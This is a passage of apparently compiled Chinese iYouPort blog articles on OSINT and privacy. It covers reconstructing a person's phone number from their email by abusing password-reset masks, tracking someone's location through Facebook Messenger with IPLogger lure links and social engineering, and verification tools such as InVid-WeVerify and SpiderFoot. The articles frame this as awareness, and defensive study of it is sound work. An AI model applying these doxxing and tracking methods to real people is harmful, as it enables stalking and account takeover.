以亚马逊为例，您将获得用户名的首字母和最后一个字母以及整个域名。您还可以获得用户名的长度，因为*的数量与掩码字符的数量匹配。

Twitter 将向您显示用户名的前两个字符和域名的第一个字符。您还可以通过计算星号来了解长度。

攻击向量如下所示：

1、使用目标的电子邮件地址在多个站点中启动重置密码过程，以获取多个电话号码数字；

2、通过使用类似 NANPA 这种公开可用的数据库来丢弃不存在的号码，从而减少可能的电话号码列表长度；

3、启动密码重置过程，以遍历其余电话号码列表，并将泄漏的电子邮件字符与目标的电子邮件地址相关联。

通过执行这些步骤，您无需拨打任何电话就可以获取与电子邮件地址关联的完整的十位数电话号码！

仅通过滥用密码重置选项和使用公开可用信息就可以有效地进行暴力破解。

自动化

上面的攻击向量可以手动完成。您可以使用 namechk 之类的服务来确定要去哪里收获缺失的数字；自己可以查看NANPA的数据，以丢弃无效数字；您甚至可以使用某些工具，暴力破解其余电话号码以找到匹配的电子邮件。

但是，现在你不需要以上一切麻烦了。Martin Vigo 编写了一个工具，可以为您自动完成所有这些工作。

这个工具的名字叫：**email2phonenumber**，⚠可让您仅仅提供部分电话号码就可以获取所有可能的有效电话号码的列表，从而有效消除不存在的号码。

该工具还可以让您使用 Amazon 和 Twitter 的密码重置功能来暴力破解电话号码，并将片段电子邮件地址与您提供的寻找匹配的电子邮件相关联。

它还支持使用代理服务器。因为你正在做的是开始用不同的电话号码重置密码，这意味着那些服务不应该根据您要使用的特定电话号码来追踪到您。

还有许多其他服务允许使用可用于相同目的的电话号码重置密码。⚠该工具支持 Amazon 和 Twitter 的暴力破解。

该工具开源，可以在 github 找到。

演示

下面是演示视频：

email2phonenumber 是一个很棒的工具，虽然它的大部分工作都可以通过 Burp 或 wfuzz 之类的工具完成。它真正的能力取决于收集、解析、并使用与一个国家的电话号码计划有关的所有公开可用数据，全程自动化。

Martin Vigo 正在开发一项新的联机服务，该服务将帮您生成可能的电话号码列表。

而且，它将具有多国支持，它将为您提供更多信息和详细信息，还将拥有历史记录功能，最重要的是，它能提供高级过滤器。

假设您知道目标选取的是哪家运营商，则可以按运营商进行过滤，甚至可以减少可能的数量列表；以及其他过滤器，比如年限。

其他国家

到目前为止，email2phonenumber 主要关注美国的电话号码，但是在考虑其他国家/地区的目标时，还需要强调其他问题。

Martin Vigo 来自西班牙，西班牙的手机号码也具有有趣的属性。所有手机号码均以数字6（最近是7）开头。

而且西班牙的电话号码只有9位数字；而 eBay 或 LastPass 之类的服务并没有调整其掩码模式。因此，如果你的追踪目标是西班牙手机，那么使用 LastPass，就能知道9位数中的5位数！超过一半的数字。

中国的号码有**11**位数，是目前全球最长的号码，也许看起来有些难度，但依旧可以使用上述方法挖掘到。

中国的手机号分为三段：前3位是网络识别号、4–7位是地区编码(HLR归属位置寄存器)、8–11位是用户号码。

日本的号码也是11位的；台湾、美国、德国、印度、瑞士、荷兰、比利时、法国、菲律宾、澳大利亚等国家是10位号码。

使用不同语种搜索，很容易找到相应的编码数据库。

「图」

「图」

通过了解国家/地区电话号码系统的属性，并利用上述思考方式，就

不难收集到电话号码的所有数字。⚠您能知道，这有多么的不安全。

- 为什么您的手机号不应该随便告诉他人《如果只知道一个电话号码，你能挖出多少有效信息？》

所以呢？

以上向您展示了如何仅仅通过电子邮件地址就可以挖掘到电话号码的方法。所以呢？这究竟有多糟糕？

好吧，其实我们可以从不同角度（例如隐私和安全性）来回答这个问题，但本文会列出一些源自目标电话号码的攻击媒介：

- "SIM卡交换攻击" —— 这是一个臭名昭著的身份盗用攻击形式，它的威胁面比您想象的要普遍得多。

您可以在这里看到攻击方法；社交工程是基本手段。

⚠这将使攻击者能够以您的身份重置密码或绕过2FA保护。

- ***SS7*** 攻击。

SS7是运营商用来在它们之间进行交互的协议。它已经很老了，本身就非常不安全，研究人员已经在多个安全会议上演示了⚠如何跟踪个人的位置，甚至监视通信。但运营商就是不改。

在这里看到《什么是 SS7，据称中国正用它来窥探特朗普的手机？》

- 瞄准您的语音邮件。

在下面的视频中了解攻击者破坏您的语音邮件的影响。

必须说，语音邮件系统是一种威胁。

- 位置跟踪。

这里有一篇很好的报道可以帮您了解这个问题。

- **CallerID** 欺骗。

大量的在线服务可让您欺骗来电显示 —— 这是用于社交工程攻击的“绝佳”工具。

结论

⚠缺乏掩盖PII的标准化方法会导致在线服务采用不同的方法。这会在诸如重置密码区域之类的地方泄漏有关您的电子邮件地址和电话号码的部分信息。

⚠攻击者完全可以滥用该信息，对其进行自动化侦查以重建目标数据。

特别是在有针对性的攻击中，有可能获得与电子邮件地址关联的电话号码的所有数字。

攻击者拥有了电话号码后，便可以将其用于其他具有严重影响的攻击，这些攻击可能导致帐户遭到完全破坏、位置跟踪、甚至各种各样的间谍活动。

对于电子邮件，仅掩盖用户名是不够的，⚠域名完全可以提供有关该人可能在何处工作的信息。

Martin Vigo 的建议是允许用户设置标签。例如，用户可以将电子邮件地址标记为“个人电子邮件”或将电话号码标记为“工作电话”；这样，当密码重置过程显示提示时，它将显示标签而不是**PII**的片段。

⚠除非严格要求，否则用户不应提供其电话号码。许多在线服务都需要电话号码，但是并没有真正的业务需求。这完全不正当。

这些监视资本家只想要获取有关您的更多信息。所以，迫不得已的情况下请使用一次性手机号。在这里看到合适的选择《4款最佳一次性手机号码应用：适用 Android & iPhone》。

⚠这不仅与操作安全有关，还与数据安全有关。

您可以从 slideshare 下载讲座的幻灯片。

⚠再一次：手机号很危险，切勿轻易与不熟悉的人和在线服务分享。

回顾*完美隐身*栏目中介绍的安全和反追踪技巧：

- 《如何做到完美隐身：直面你的对手—6大原则（1）》
- 《如何做到完美隐身：追踪者的手段和你的弱点（2）》
- 《如何做到完美隐身：思考方式是战略性的（3）》
- 《如何做到完美隐身：技术增值部分—最简单的分身方法

（4）》
- 《如何做到完美隐身：清扫和清点—信息篡改的重要步骤（5）》
- 《如何做到完美隐身：令人兴奋的心理过招（6）》
- 《如何做到完美隐身：扫荡危险区域（7）》

○

广告

原文

如何从YouTube视频中提取音频、确切的上传时间和缩略图？

开源情报-每个人都可用的武器让它民主-公民掌握真相的技巧和技术

非常简单的小工具就可以做到

「图」

YouTube 视频是很多开源情报研究的重点情报来源 —— 因为大多数流行信息和热点事件都会被上传到这里。虚假消息也由此而生。

不论是信息验证、深入调查还是寻找线索，能够深入挖掘 YouTube 视频的能力都是显著的优势。

比如本文的主题：提取音频、提取确切的上传时间和缩略图，这些数据都是调查的重要，也是信息验证的关键依据。

事实上做到这点很简单，因为有两个便利的工具。

提取音频

该视频有没有造假？相关判断方法有很多种，其中音频是一个重点。

如果发现音频显示出被编辑过的不自然的状态，也许就能发现造假的痕迹（需要根据实际情况进一步判断）。

那么要做到这点首先就是要提取其中的音频。

有一个简单的工具可以做到这点：4K Video Downloader 。

第一步

安装 "4K Video Downloader"

第二步

复制视频链接

第三步

在计算机上打开 4K Video Downloader，然后单击“粘贴URL”。

「图」

第四步

从下拉菜单中选择“提取音频”

「图」

并选择要保存音频文件的质量、文件格式和文件夹。

第五步

点击“Extract”保存文件。

就是这么简单。

提取确切的上传时间和缩略图

这是验证视频真伪的一个最常用的关键手段。您可以在下面回顾视频和图片验证的基本方法：

- 《10个简单技巧 快速验证社交媒体热门视频的真伪》
- 《虚假信息鉴别工具箱：如何验证图片和视频的真伪？》

依旧是一个小工具就可以做到 —— 从 YouTube 视频中提取隐藏信息。

当然手动做也是可以，但也许相对繁琐；利用这个工具可以将步骤简化很多：YouTube Data Viewer.

第一步

转到 YouTube Data Viewer

第二步

输入视频的网址，然后按Enter

第三步

提取确切的上传时间。

请注意：上传时间以UTC（世界标准时间）显示，可以通过使用简单的时区转换器将其转换为本地时间。

第四步：

查看缩略图。

缩略图是验证信息真伪的关键部分，由此可进行反向图像搜索。

「图」

「图」

❗请注意，现在这个工具已经更新啦，会更好用，在这里：https://intelx.io/tools?tab=youtube

案例 ——

这里使用的是 2013年11月在白宫外举行的集会的视频，作为演示。

第1步：使用 YouTube 数据查看器提取确切时间

只需将视频链接复制并粘贴到适当的字段即可提取详细信息。白宫集会的视频发布于2013年11月7日，晚上9:53：

第2步：将时间（UTC）转换为本地时区

在此案例中，必须首先将其转换为东部标准时间（EST），以了解将其上传到华盛顿特区（抗议地点）的时间。

使用一个简单的时区转换器来执行此操作。插入9:45 pm（它仅允许以15分钟为间隔选择时间，因此无法准确输入9:53）：

「图」

华盛顿特区比UTC晚五个小时。因此，该视频于2013年11月7日（星期四）下午上传：

「图」

很简单吧，所有人都可以玩。信息战几乎无法被阻止，但只要大众学会如何辨别 —— 哪怕仅仅是最简单的辨别方法，操纵就很难得逞。
○

原文

如何从社交媒体平台下载视频 而无需使用第三方工具或网站 - iyouport

开源情报-每个人都可用的武器

【2020年9月23日存档】依赖第三方工具不够安全

社交媒体视频内容是任何调查或分析师工作的重要组成部分。托管视频的平台可以根据其政策迅速删除内容，几乎完全由平台自行决定；此外平台的用户还可以控制其内容，并且可以在不另行通知的情况下将其删除。

这导致了一个关键要求，即：调查人员和分析人员需要能够离线下载内容以进行进一步分析，并且能够随时保留适用于许多用例的证据。

需要能够在不依赖网络托管或第三方工具的情况下执行此操作，这将使您始终能够对完成下载充满信心，同时减少了调查人员在使用第三方工具时经常会引入的隐私风险和来源准确度问题（关于您是否可以直接确认来源）。

osintcombine 介绍了一套方法，将使您可以定位托管视频内容的大多数平台，然后逐步介绍如何在 Facebook、Instagram、SnapChat、TikTok 和 YouTube 上执行此操作。

基本方法

「图」

当视频托管在网站上时，它们通常以MP4或WebM的格式交付给最终用户。这是通过嵌入代码完成的，该代码将视频内容包装到用户界面中，并且通常在播放视频时限制直接下载。

但是，内容已被传送的事实意味着必须通常通过内容传送网络（CDN）连接到原始来源。这就是我们应用以下基本原理的地方：

这个过程可能会有所不同，比如在 YouTube 上会看到不同的过程，

尤其是当内容以WebM格式交付时。

但是原则上，上述方法适用于通过社交媒体或在线交付的大部分视频内容。

示例

「图」

以下是一些示例，突出了上面的指导原则。您通常会在 Facebook 和 YouTube 上看到一些细微的差异，因此您可能需要深入研究。

1、Instagram

「图」

大图

2、SnapChat

「图」

大图

3、TikTok

「图」

大图

4、Facebook

「图」

您会看到 Facebook 略有不同。由于可以通过访问 mbasic.facebook.com 获得该站点的静态 html 版本，因此无需开发人员工具即可完成此过程。大图

5、YouTube

「图」

YouTube 通过 WebM 而不是MP4传递内容。这意味着需要首先提取流URL，然后再使用VLC下载整个视频，VLC是所有操作系统上都可用的轻量级媒体播放器。大图

最后

「图」

该过程很简单，不仅在上面的示例中，而且在大多数提供视频内容的平台上都应该能够取得可重复的成功。

这对于减少您对第三方工具的依赖并保持对源头的确认来说非常重要。此外，重要的是要尊重您要下载的材料的适当商标和版权。〇

Download social media videos without tools

原文

如何使用 Facebook Messenger 跟踪目标人的位置 - iyouport

开源情报-每个人都可用的武器自我保护措施-技术技巧以防身

【2020年4月24日存档】这不是开源调查栏目中的内容，而是为了提醒防御。

跟踪和定位个人的能力不再像间谍电影中那样困难了。智能手机之类的东西可以完成间谍工具包中的大部分能力。

在数字时代，仅使用聊天应用程序就可以轻松确定某人的位置。只要您和“目标”都使用 Facebook Messenger，就可以进行位置跟踪。

现在，假设您处于这种情况的另一端 —— 即 有人可能正在追踪您的位置，而您却一无所知。令人毛骨悚然，对吧？

实际上，Facebook Messenger应用程序带来的风险比您想象的要大得多。

对于拥有数百个 “朋友” 的人来说尤其如此，因为并非所有这些人都是您可能真正见过的人。

- 不要错过《如何识别 Facebook 上的假朋友请求》
- 被恶意 **Facebook**“好友”攻击的案例《人性弱点能摧毁一切防火墙：社交工程攻击实践，以及你必须在乎的问题》

依旧有太多的人会在社交媒体上投入过多的精力，泄露的信息超出了你的想象。⚠了解如何跟踪他人可以使您了解某人对您进行相同操作的难易程度 —— 以提高自我保护意识。

使用 Facebook Messenger 跟踪位置

「图」

您甚至不需要精通技术就可以使用 Messenger 跟踪某人。精英级别的

黑客无需进入 Facebook 即可看到谁已经分享了他们的位置。

不需要技术就可以做到跟踪的方法有如下几个。

1、位置分享

此特定功能是一种基于共识的跟踪方法。 Facebook Messenger 通过允许朋友分享他们的位置，使想要见面的人更容易联系。

- 点击屏幕左下角的四个点，通过 Facebook Messenger 打开聊天对话框。
- 点击位置
- 从那里，只需选择“共享实时位置”，您的朋友就会看到您的当前位置。他们反过来可以与您分享他们的位置。

⚠大多数人都有互惠心理，如果你先给予对方好处，对方就会感觉过意不去，更容易为你做点什么。如果你能成功设置这种心理情景，就能诱导对方分享他们的位置数据。

诱导术有很多，远不止互惠心理这一种，稍不留神就容易上当。如果您希望保护自己，建议您参见我们的 “社交工程” 专栏。

2、位置标签

在您的朋友列表中搜索目标人的位置标签，只需点击几下就可以找到他们的位置。

查找位置标签的最常见方法是检查 Facebook Stories。

- 如果其中一张图像上保留了位置标签，则只需点击它，选择显示位置，然后将其拉到智能手机屏幕上即可。
- 点击标签文本，您将被重定向到Google地图，该地图将显示目标的位置。

这不是最可靠的发现方法，因为位置不一定是最新的，而是图像最初发布的时间。还存在位置标签提供不正确位置的问题，因为发布者可以张贴他们选择的任何位置。但这仍然值得一试，因为有些人真的很傻，他们会去分享实际的位置。

3、第三方**APP**

⚠这部分可就不是共识了，更多是侵犯性的，是钓鱼行为。

尽管位置跟踪的某些应用可能会以积极的方式带来好处，但大部分情况下并非如此，这种方法在整个过程中都贴有“网络犯罪”的标签。

使用免费的在线服务（如 IPLogger）可以帮助您查找目标人的确切位置。

您所要做的就是访问该网站，然后从列表中选择一个跟踪选项。

输入您想要用来跟踪目标位置的URL，然后复制提供的 IPLogger 代码。

从这里开始，就是想办法让您的目标人点击生成的 URL，您可以通过 Facebook Messenger 发送该URL。

一旦对方点击了，你可以使用第二个生成的URL，该URL使您可以直接从浏览器查看位置统计信息。

4、“附近朋友”功能

此功能要求您已安装实际的 Facebook 应用程序。然后，您可以通过进入 “更多选项” 菜单并选择 “附近的朋友” 来启用它。然后只需点按该选项即可将其打开。

现在，您将可以看到当前正在使用该功能的所有其他人。每个点都会按位置列出，并显示它们之间的物理距离。

最亲密的 “朋友” 将首先显示，并带有一个 Facebook Messenger 按钮，您可以用来与他们聊天。

⚠一旦使用了该功能，即表示您同意也使用该功能的任何 “朋友” 列表中的人了解您的位置 —— 所以它非常危险。

此特殊功能主要用于朋友和同事之间的现实聚会，但是，也非常可能被错误地放入朋友列表中的社交工程攻击者所使用。

所以，作为防御，您最好不要使用这个东西。

最后

「图」

⚠如您所知，只要您想查找任何人，只需要把他们放入您的朋友列表

就会变得非常容易。

所以，再一次提醒：千万要小心网上的任何“朋友”，尤其是对于敏感人士来说，因为瞄准你的坏家伙比瞄准其他人的更多。

与他人共享任何内容时都需要格外谨慎，尤其是在网上共享，多想想对方能用这些信息来做什么，而不是“它对我来说是不是重要”——站在攻击者的角度上思考。

- 《你不应该在社交媒体上说的话》

就如本文最开始说明的，这不是“开源调查”栏目中的内容，只是为了提醒安全意识。如果您是开源调查人员，当然可以采取同样的方法追踪目标人——但请将侵犯性降到最低。〇

原文

如何使用 InVid-WeVerify：数字信息验证的"瑞士军刀" - iYouPort

开源情报-每个人都可用的武器让它民主-公民掌握真相的技巧和技术

非常方便，多种功能集于一身

「图」

「图」

大赦国际证据实验室向所有开源情报调查人员推荐的主要工具之一是 Chrome 或 Firefox 适用的 InVid-WeVerify 网络浏览器插件。它的构建就像一把事实核查的瑞士军刀，在一个地方包含了多个工具，包括视频的关键帧提取器、照片和视频的元数据提取器、关键帧的反向图像搜索、照片的放大工具，以及 Twitter 高级搜索的整洁界面。

这篇文章将解释其中许多功能是如何工作的。

这个工具是由欧盟资助的 InVid（ In Video Veritas ）和 WeVerify 合作的结果。其目标是帮助公民调查者、人权维护者和其他研究人员验证社交网络上的内容。

安装该工具后，浏览器顶部会出现一个小的启动器图标。

「图」

「图」

启动 InVid-WeVerify

点击后，启动器会给用户提供三个选项：

- 打开InVID 启动插件；
- Video Urls 显示网页上的视频网址；
- Image Urls 显示网页上的图像的网址。

「图」

「图」

如果照片或视频被嵌入到新闻网站中，后两个选项会特别有用。当打开 InVid-WeVerify 时，复制并粘贴这些URLs即可使用。

打开 InVid-WeVerify

打开工具后，用户会看到几个标签：

「图」

「图」

下面将讨论这些选项卡中的每一个（Video Rights 选项卡除外，该选项卡针对的是处理版权问题的记者）。

1、分析选项卡 —— 是一个针对 YouTube、Twitter 和 Facebook 公开视频的增强型元数据查看器。它允许用户检索背景信息、位置（如果检测到）、最有趣的评论，并应用反向图像搜索检查发布该视频的推文（在YouTube上）。对于 Facebook，用户需要登录 Facebook 账户才能处理链接。

2、关键帧选项卡—— 允许用户复制视频网址（来自 YouTube、Twitter、Facebook、Daily Motion 或 Dropbox）或上传本地视频文件（mp4、webm、avi、mov、wmv、ogv、mpg、flv 和 mkv 格式都可以），以便将视频分割成关键帧。一旦被分割，关键帧可以通过点击 Google 图像搜索或通过菜单（右键点击）搜索 Google、Yandex、Tineye、Bing、Karma Decay（针对 Reddit）和百度图像。

3、**YouTube** 缩略图选项 —— 允许用户在 Google、Bing、Tineye 或 Yandex Images 上快速触发反向图像搜索，并从 YouTube 视频中提取四个缩略图。最多四个（根据可用缩略图的数量）会在浏览器中自动打开反向图像搜索的结果，同时四个缩略图也会显示在插件页面中。这个选项卡与分析选项卡可以做的事情有很多，如果用户需要查找一个 YouTube 视频是否曾经被发布过，那么这个选项卡是非常快速高效的。

4、**Twitter** 搜索选项卡 —— 这是一个增强的 Twitter 关键字或标签的高级搜索，运算符可以将查询的时间间隔缩小到一分钟之内。它自

动将日历日期、小时和分钟翻译成unix时间戳，以方便查询，例如，在突发事件刚发生后的时间范围内出现的第一张图片或第一个视频。该选项还包括 Twitter 高级搜索的其他功能，如地理编码、附近*、来自*、语言和各种过滤操作符。

5、“放大镜” 选项卡 —— 允许用户通过网址显示图像，并在图像上放大或应用放大镜，以帮助解读和阅读图像中难以看到的细节 —— 如汽车牌照、军徽、标志和横幅。用户可以输入图像的网址，或者使用本地文件按钮从本地上传图像。然后你就可以谷歌、Yandex、Tineye 和百度对其进行反向图像搜索，或使用下面解释的图像取证选项。该选项卡中的其他工具包括锐化、图像翻转和裁剪。

6、元数据选项卡 —— 允许用户查看 jpeg 图片的Exif数据，或者 mp4/m4v 格式的视频的元数据。这可以通过一个链接或一个本地文件来实现。

7、取证选项卡 —— 提供了八种不同的图像滤波，帮助用户检测数字图像被篡改的痕迹：例如使用 Photoshop 编辑软件的篡改。这需要高级的图像滤波工作知识，所以不建议开源调查的初学者使用该选项。

情境菜单

InVid-WeVerify 插件还为您的浏览器带来一个背景菜单。当在线时，右键点击图片或视频网址即可激活该插件。

「图」

「图」

该菜单允许用户在静态图像或 YouTube 视频链接上触发该插件。在图像上，右键单击将建议在图像放大镜中打开图片，以便更仔细地检查它，或对该图像进行取证分析或反向图像搜索。在一个视频链接上，右键将提议 InVID-WeVerify 视频分析或 YouTube 缩略图反向搜索。

来试试看吧。〇

How to: Use InVid-WeVerify—the ‘Swiss Army Knife’ of Digital Verification

原文

如何使用 SpiderFoot CLI 从网站提取比特币钱包地址和余额 - iYouPort

开源情报-每个人都可用的武器监视区块链和反现金之战

使用一个强大的开源情报工具

「图」

「图」

【按】我们有一个专门板块 “监视区块链和返现金之战” 在 列表-2 中。加密货币追踪是近年来的热门议题，尤其是全球最厉害的间谍机构，往往投入最大的资源以追踪各种加密货币，由此催生了一大群监视技术公司进入开发相关工具的轨道。

众所周知，追踪金钱是挖掘腐败和有组织犯罪的最有效战术，于是对加密货币的追踪也是直接行动活动家所关注的热门技能。可惜这不是一个公平的游戏，政府间谍的 “优势” 在最后一步：他们可以威胁加密货币服务提供商交出用户的身份。而活动家往往无法做到。

但活动家依旧可以在此进行足够深入的调查，并结合其他渠道获得的情报，以得出有效的见解。本文就是一个很好的用例。

我们去年推荐过一本书，见下图，您可以在这里下载《追踪加密货币交易》：

「图」

「图」

在本文中，null-byte尝试使用我们曾经介绍过的工具 “蜘蛛脚” 进行加密货币追踪调查，关于蜘蛛脚，见《如何自动执行情报搜集？蜘蛛脚入门指南》、《揭露加密货币投资骗局：蜘蛛脚演示自动化开源情报调查》。

SpiderFoot 总体上是一个很好的自动化开源情报工具，它有两个不同的版本：免费的开源项目和一个付费服务 SpiderFoot HX，一年的费用差不多是800美元。对于本文的使用来说，免费版本足以调查比特币钱包和余额，而且不需要运行一个网络服务器来进行调查，如果您在命令行界面之外使用 SpiderFoot，这一点是必要的。

比方说，一个组织正在使用比特币筹集资金。不管是合法的还是非法的组织募捐，您都可以先通过刮取网站来定位任何与该组织的域名相关联的比特币钱包地址来监控它的表现。然后，您可以将这些数据传递到一个查询中，找出每个面向公众的钱包中的确切余额。

需要什么

要使用 SpiderFoot 的CLI，您需要安装Python 3，新的 Linux、macOS 和 Windows 系统都预装了Python 3。如果没有，或者您有一个旧版本的 Python，Python 3 很容易下载和安装。

步骤1：安装 SpiderFoot

我们不打算去 SpiderFoot 的网站上获取这个工具。相反，我们将从它的 GitHub 库中获取。除了本文要做的事之外，SpiderFoot 还有很多好用的地方，所以一定要去它的 GitHub 看看它还能做什么。

它还有一个 SpiderFoot 可以使用的模块列表，这些模块可以组合在一起，以执行非常具体的搜索查询。

我们稍后将使用两个模块：一个是搜索网站上的比特币地址，另一个是将这些地址传递给余额查询。但首先，要通过 **git** 下载 SpiderFoot，在终端发出以下命令：

```
~$ git clone https://github.com/smicallef/
spiderfoot.git Cloning into 'spiderfoot'...
remote: Enumerating objects: 43, done. remote:
Counting objects: 100% (43/43), done. remote:
Compressing objects: 100% (36/36), done. remote:
Total 20781 (delta 17), reused 18 (delta 7), pack-
reused 20738 Receiving objects: 100%
(20781/20781), 13.89 MiB | 9.34 MiB/s, done.
Resolving deltas: 100% (16727/16727), done.
```

然后，转到其目录和执行列表 (**ls**).

```
~$ cd spiderfoot ~/spiderfoot$ ls dicts modules
sfcli.py static Dockerfile passwd sflib.py test
dyn README.md sf.py THANKYOU generate-certificate
requirements_test.txt sfscan.py VERSION LICENSE
requirements.txt sfwebui.py log setup.cfg
spiderfoot
```

您可以看到一个 requirements.txt 文件，所以在继续之前确保用 pip3 安装它。如果不这样做 SpiderFoot 有可能会失败，因为它没有正确运行所需的所有依赖项。

```
~/spiderfoot$ pip3 install -r requirements.txt
Defaulting to user installation because normal
site-packages is not writeable Requirement already
satisfied: adblockparser」=0.7 in /usr/lib/
python3/dist-packages (from -r requirements.txt
(line 1)) (0.7) Requirement already satisfied:
dnspython」=1.16.0 in /usr/lib/python3/dist-
packages (from -r requirements.txt (line 2))
(2.0.0) Requirement already satisfied: exifread」
=2.1.2 in /usr/lib/python3/dist-packages (from -r
requirements.txt (line 3)) (2.3.2) Requirement
already satisfied: CherryPy」=18.0 in /home/
kali/.local/lib/python3.8/site-packages (from -r
requirements.txt (line 4)) (18.6.0) Requirement
already satisfied: cherrypy-cors」=1.6 in /home/
kali/.local/lib/python3.8/site-packages (from -r
requirements.txt (line 5)) (1.6) Requirement
already satisfied: Mako」=1.0.4 in /usr/lib/
python3/dist-packages (from -r requirements.txt
(line 6)) (1.1.3) Requirement already satisfied:
beautifulsoup4」=4.4.1 in /usr/lib/python3/dist-
packages (from -r requirements.txt (line 7))
(4.9.3) Requirement already satisfied: lxml」
=4.6.1 in /usr/lib/python3/dist-packages (from -r
requirements.txt (line 8)) (4.6.1) Requirement
already satisfied: netaddr」=0.7.18 in /usr/lib/
python3/dist-packages (from -r requirements.txt
(line 9)) (0.7.19) Requirement already satisfied:
pysocks」=1.7.1 in /usr/lib/python3/dist-packages
```

(from -r requirements.txt (line 10)) (1.7.1)
Requirement already satisfied: requests⌟=2.20.0
in /usr/lib/python3/dist-packages (from -r
requirements.txt (line 11)) (2.24.0) Requirement
already satisfied: ipwhois==1.0.0 in /home/
kali/.local/lib/python3.8/site-packages (from -r
requirements.txt (line 12)) (1.0.0) Requirement
already satisfied: ipaddr⌟=2.2.0 in /home/
kali/.local/lib/python3.8/site-packages (from -r
requirements.txt (line 13)) (2.2.0) Requirement
already satisfied: phonenumbers⌟=8.12.9 in /home/
kali/.local/lib/python3.8/site-packages (from -r
requirements.txt (line 14)) (8.12.13) Requirement
already satisfied: pygexf⌟=0.2.2 in /home/
kali/.local/lib/python3.8/site-packages (from -r
requirements.txt (line 15)) (0.2.2) Requirement
already satisfied: PyPDF2⌟=1.26.0 in /usr/lib/
python3/dist-packages (from -r requirements.txt
(line 16)) (1.26.0) Requirement already satisfied:
stem⌟=1.7.1 in /usr/lib/python3/dist-packages
(from -r requirements.txt (line 17)) (1.8.0)
Requirement already satisfied: python-whois⌟
=0.7.1 in /home/kali/.local/lib/python3.8/site-
packages (from -r requirements.txt (line 18))
(0.7.3) Requirement already satisfied: secure⌟
=0.2.1 in /usr/lib/python3/dist-packages (from -r
requirements.txt (line 19)) (0.2.1) Requirement
already satisfied: pyOpenSSL⌟=17.5.0 in /usr/lib/
python3/dist-packages (from -r requirements.txt
(line 20)) (19.1.0) Requirement already satisfied:
python-docx⌟=0.8.10 in /usr/lib/python3/dist-
packages (from -r requirements.txt (line 21))
(0.8.10) Requirement already satisfied: python-
pptx⌟=0.6.18 in /usr/lib/python3/dist-packages
(from -r requirements.txt (line 22)) (0.6.18)
Requirement already satisfied: networkx⌟=2.5 in /
usr/lib/python3/dist-packages (from -r
requirements.txt (line 23)) (2.5) Requirement
already satisfied: cryptography⌟=3.2.1 in /usr/
lib/python3/dist-packages (from -r

requirements.txt (line 24)) (3.2.1) Requirement already satisfied: publicsuffixlist⌟=0.7.3 in /home/kali/.local/lib/python3.8/site-packages (from -r requirements.txt (line 25)) (0.7.5) Requirement already satisfied: portend⌟=2.1.1 in /home/kali/.local/lib/python3.8/site-packages (from CherryPy⌟=18.0-⌟-r requirements.txt (line 4)) (2.7.0) Requirement already satisfied: more-itertools in /usr/lib/python3/dist-packages (from CherryPy⌟=18.0-⌟-r requirements.txt (line 4)) (4.2.0) Requirement already satisfied: zc.lockfile in /home/kali/.local/lib/python3.8/site-packages (from CherryPy⌟=18.0-⌟-r requirements.txt (line 4)) (2.0) Requirement already satisfied: cheroot⌟=8.2.1 in /home/kali/.local/lib/python3.8/site-packages (from CherryPy⌟=18.0-⌟-r requirements.txt (line 4)) (8.4.7) Requirement already satisfied: jaraco.collections in /home/kali/.local/lib/python3.8/site-packages (from CherryPy⌟=18.0-⌟-r requirements.txt (line 4)) (3.0.0) Requirement already satisfied: httpagentparser⌟=1.5 in /home/kali/.local/lib/python3.8/site-packages (from cherrypy-cors⌟=1.6-⌟-r requirements.txt (line 5)) (1.9.0) Requirement already satisfied: soupsieve⌟1.2 in /usr/lib/python3/dist-packages (from beautifulsoup4⌟=4.4.1-⌟-r requirements.txt (line 7)) (2.0.1) Requirement already satisfied: future in /usr/lib/python3/dist-packages (from python-whois⌟=0.7.1-⌟-r requirements.txt (line 18)) (0.18.2) Requirement already satisfied: tempora⌟=1.8 in /home/kali/.local/lib/python3.8/site-packages (from portend⌟=2.1.1-⌟CherryPy⌟=18.0-⌟-r requirements.txt (line 4)) (4.0.1) Requirement already satisfied: setuptools in /usr/lib/python3/dist-packages (from zc.lockfile-⌟CherryPy⌟=18.0-⌟-r requirements.txt (line 4)) (50.3.0) Requirement already satisfied: jaraco.functools in /home/kali/.local/lib/python3.8/site-packages (from cheroot⌟=8.2.1-⌟

```
CherryPy」=18.0-」-r requirements.txt (line 4))
(3.0.1) Requirement already satisfied: six」
=1.11.0 in /usr/lib/python3/dist-packages (from
cheroot」=8.2.1-」CherryPy」=18.0-」-r
requirements.txt (line 4)) (1.15.0) Requirement
already satisfied: jaraco.text in /home/
kali/.local/lib/python3.8/site-packages (from
jaraco.collections-」CherryPy」=18.0-」-r
requirements.txt (line 4)) (3.2.0) Requirement
already satisfied: jaraco.classes in /home/
kali/.local/lib/python3.8/site-packages (from
jaraco.collections-」CherryPy」=18.0-」-r
requirements.txt (line 4)) (3.1.0) Requirement
already satisfied: pytz in /usr/lib/python3/dist-
packages (from tempora」=1.8-」portend」=2.1.1-」
CherryPy」=18.0-」-r requirements.txt (line 4))
(2020.4)
```

如果您通过上面的命令安装有问题，可以先用 **apt update** 试试，然后再继续。如果仍然有问题，请在前面运行 **sudo** 命令。

步骤2：确保 SpiderFoot 工作正常

现在 SpiderFoot 已经全部准备好了，是时候开始使用它了，用命令行参数传递我们希望返回的信息。从上面执行的列表中，您会看到 sf.py 文件，这就是我们将在这里使用的主要程序。试着运行它一下，看看它是否能正常工作：

```
~/spiderfoot$ python3 ./sf.py You must specify a
target when running in scan mode. Try --help for
guidance.
```

如果您看到了其他东西，或者如果您现在或在后面的步骤中遇到了错误，可以返回去用 **pip3** 重新安装 request.txt。如果还不行，就用 **sudo** 安装，这样应该可以修复任何丢失的模块。

现在，让我们快速浏览一下帮助页面，看看使用说明。

```
~/spiderfoot$ python3 ./sfcli.py --help usage:
sf.py [-h] [-d] [-l IP:port] [-m mod1,mod2,...] [-
M] [-s TARGET] [-t type1,type2,...] [-T] [-o tab|
```

```
csv|json] [-n] [-r] [-S LENGTH] [-D DELIMITER] [-
f] [-F FILTER] [-x] [-q] SpiderFoot 3.0: Open
Source Intelligence Automation. optional
arguments: -h, --help show this help message and
exit -d, --debug Enable debug output. -l IP:port
IP and port to listen on. -m mod1,mod2,... Modules
to enable. -M, --modules List available modules. -
s TARGET Target for the scan. -t type1,type2,...
Event types to collect. -T, --types List available
event types. -o tab|csv|json Output format. Tab is
default. -n Strip newlines from data. -r Include
the source data field in tab/csv output. -S LENGTH
Maximum data length to display. By default, all
data is shown. -D DELIMITER Delimiter to use for
CSV output. Default is ,. -f Filter out other
event types that weren't requested with -t. -F
FILTER Filter out a set of event types. -x STRICT
MODE. Will only enable modules that can directly
consume your target, and if -t was specified only
